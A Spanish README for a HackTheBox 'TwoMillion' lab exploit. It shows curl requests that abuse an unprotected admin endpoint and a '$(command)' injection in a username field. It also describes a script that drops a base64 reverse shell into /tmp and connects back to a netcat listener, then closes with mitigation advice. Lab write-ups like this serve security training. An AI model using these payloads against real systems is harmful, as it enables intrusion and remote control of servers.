Share
## https://sploitus.com/exploit?id=BECF7A33-AD19-5719-97D2-B17013FB329F
# HTB-TwoMillion-Exploit

> **Importante:** Esto NO es un writeup completo de la máquina TwoMillion.  
> Cubre exclusivamente la primera parte: cómo obtener una **reverse shell** una vez que se tiene acceso a una cuenta en la máquina.  
> Para el post-explotación y escalada a root, consulta otros writeups.

Exploit para la máquina **TwoMillion** de HackTheBox. La máquina simula una aplicación web con dos vulnerabilidades encadenadas que permiten pasar de una cuenta básica a **ejecución remota de comandos (RCE)** como `www-data`.

---

## Prerrequisitos

- Una cuenta válida en la máquina target
- Conectividad con el target (HTB VPN)
- Python 3 + `requests`
- Un listener listo para recibir la reverse shell (`nc -lvnp `)

---

## ¿No tienes cuenta? Cómo conseguirla

Si estás empezando la máquina desde cero y no tienes una cuenta, la API de invitación te permite generar un código de registro:

### 1. Descubrir el endpoint de invitación

La aplicación expone un endpoint de API:

```http
POST /api/v1/invite/generate
```

### 2. Generar un código de invitación

```bash
curl -s -X POST 'http://2million.htb/api/v1/invite/generate' \
  -H 'Content-Type: application/json'
```

Respuesta esperada (abreviada):

```json
{"data":{"code":"codigo-generado","format":"..."}}
```

### 3. Usar el código para registrar una cuenta

```bash
curl -s -X POST 'http://2million.htb/api/v1/user/register' \
  -H 'Content-Type: application/json' \
  -d '{"username":"usuario","password":"contraseña","passwordr":"contraseña","invitecode":"codigo-generado"}'
```

Si todo sale bien, recibirás una respuesta con los datos del nuevo usuario.  
Guarda la cookie **PHPSESSID** que se genera al autenticarte — la vas a necesitar.

---

## Cadena de Vulnerabilidades

### Vulnerabilidad 1: Escalación a Admin

El endpoint `PUT /api/v1/admin/settings/update` **no verifica permisos**. Cualquier usuario autenticado puede volverse administrador:

```bash
curl -s -X PUT 'http://2million.htb/api/v1/admin/settings/update' \
  -H 'Cookie: PHPSESSID=TU_SESSION' \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@mail.com","is_admin":1}'
```

Verificar que funcionó:

```bash
curl -s 'http://2million.htb/api/v1/admin/auth' \
  -H 'Cookie: PHPSESSID=TU_SESSION'
# Respuesta esperada: {"message":true}
```

### Vulnerabilidad 2: Command Injection

Una vez admin, el endpoint `POST /api/v1/admin/vpn/generate` toma el parámetro `username` y lo concatena directamente en un comando shell **sin sanitizarlo**. Esto permite inyectar comandos arbitrarios usando la sintaxis `$(comando)` de las shells POSIX.

Por ejemplo, si envías:

```json
{"username": "test$(id)"}
```

El servidor ejecuta algo como:

```bash
/usr/bin/gen_vpn --username test$(id) > /tmp/vpn/test.ovpn
```

Y el resultado de `id` se incrusta en la salida.

---

## El Script

El archivo [`exploit.py`](exploit.py) automatiza el proceso en dos pasos:

### Paso 1: Escribir payload a disco

Inyecta un comando que codifica un script reverse shell en **base64** y lo escribe a `/tmp/r.py` en el target usando `echo ... | base64 -d` (evita problemas con comillas anidadas).

### Paso 2: Ejecutar la reverse shell

Inyecta un segundo comando que ejecuta el script recién escrito. Esto inicia una conexión de vuelta a tu listener.

### Uso

```bash
# Terminal 1: Iniciar listener
nc -lvnp 4444

# Terminal 2: Ejecutar exploit
python3 exploit.py    [TARGET_URL]
```

| Parámetro | Descripción | Default |
|---|---|---|
| `LHOST` | IP de tu máquina atacante (HTB VPN) | — |
| `LPORT` | Puerto donde escucha tu listener | — |
| `PHPSESSID` | Cookie de sesión (debe tener permisos admin) | — |
| `TARGET_URL` | URL base del target | `http://2million.htb` |

### Ejemplo

```bash
nc -lvnp 4444 &
python3 exploit.py 10.10.14.x 4444 abc123def456ghi
```

---

## ¿Por qué funciona?

La raíz del problema es que el parámetro `username` se pasa directamente a un comando shell sin filtrar ni escapar. Cualquier carácter especial de shell (`$`, `` ` ``, `|`, `;`, `&`) se interpreta literalmente.

En este caso se usa `$()` porque:
- No necesita comillas adicionales que puedan romper el JSON
- La salida del comando se captura y devuelve en la respuesta HTTP
- Permite comandos arbitrariamente largos (el payload base64 se inyecta completo)

---

## Mitigación

Para corregir esta vulnerabilidad en una aplicación real:

1. **Nunca** concatenes entrada de usuario en comandos shell
2. Usa `escapeshellarg()` o el equivalente en tu lenguaje
3. Valida el formato de entrada (regex: solo alfanumérico + guiones)
4. Implementa autorización en cada endpoint admin

---

## Disclaimer

Este material es exclusivamente con fines educativos y para entornos controlados como HackTheBox. No lo uses contra sistemas sin autorización explícita.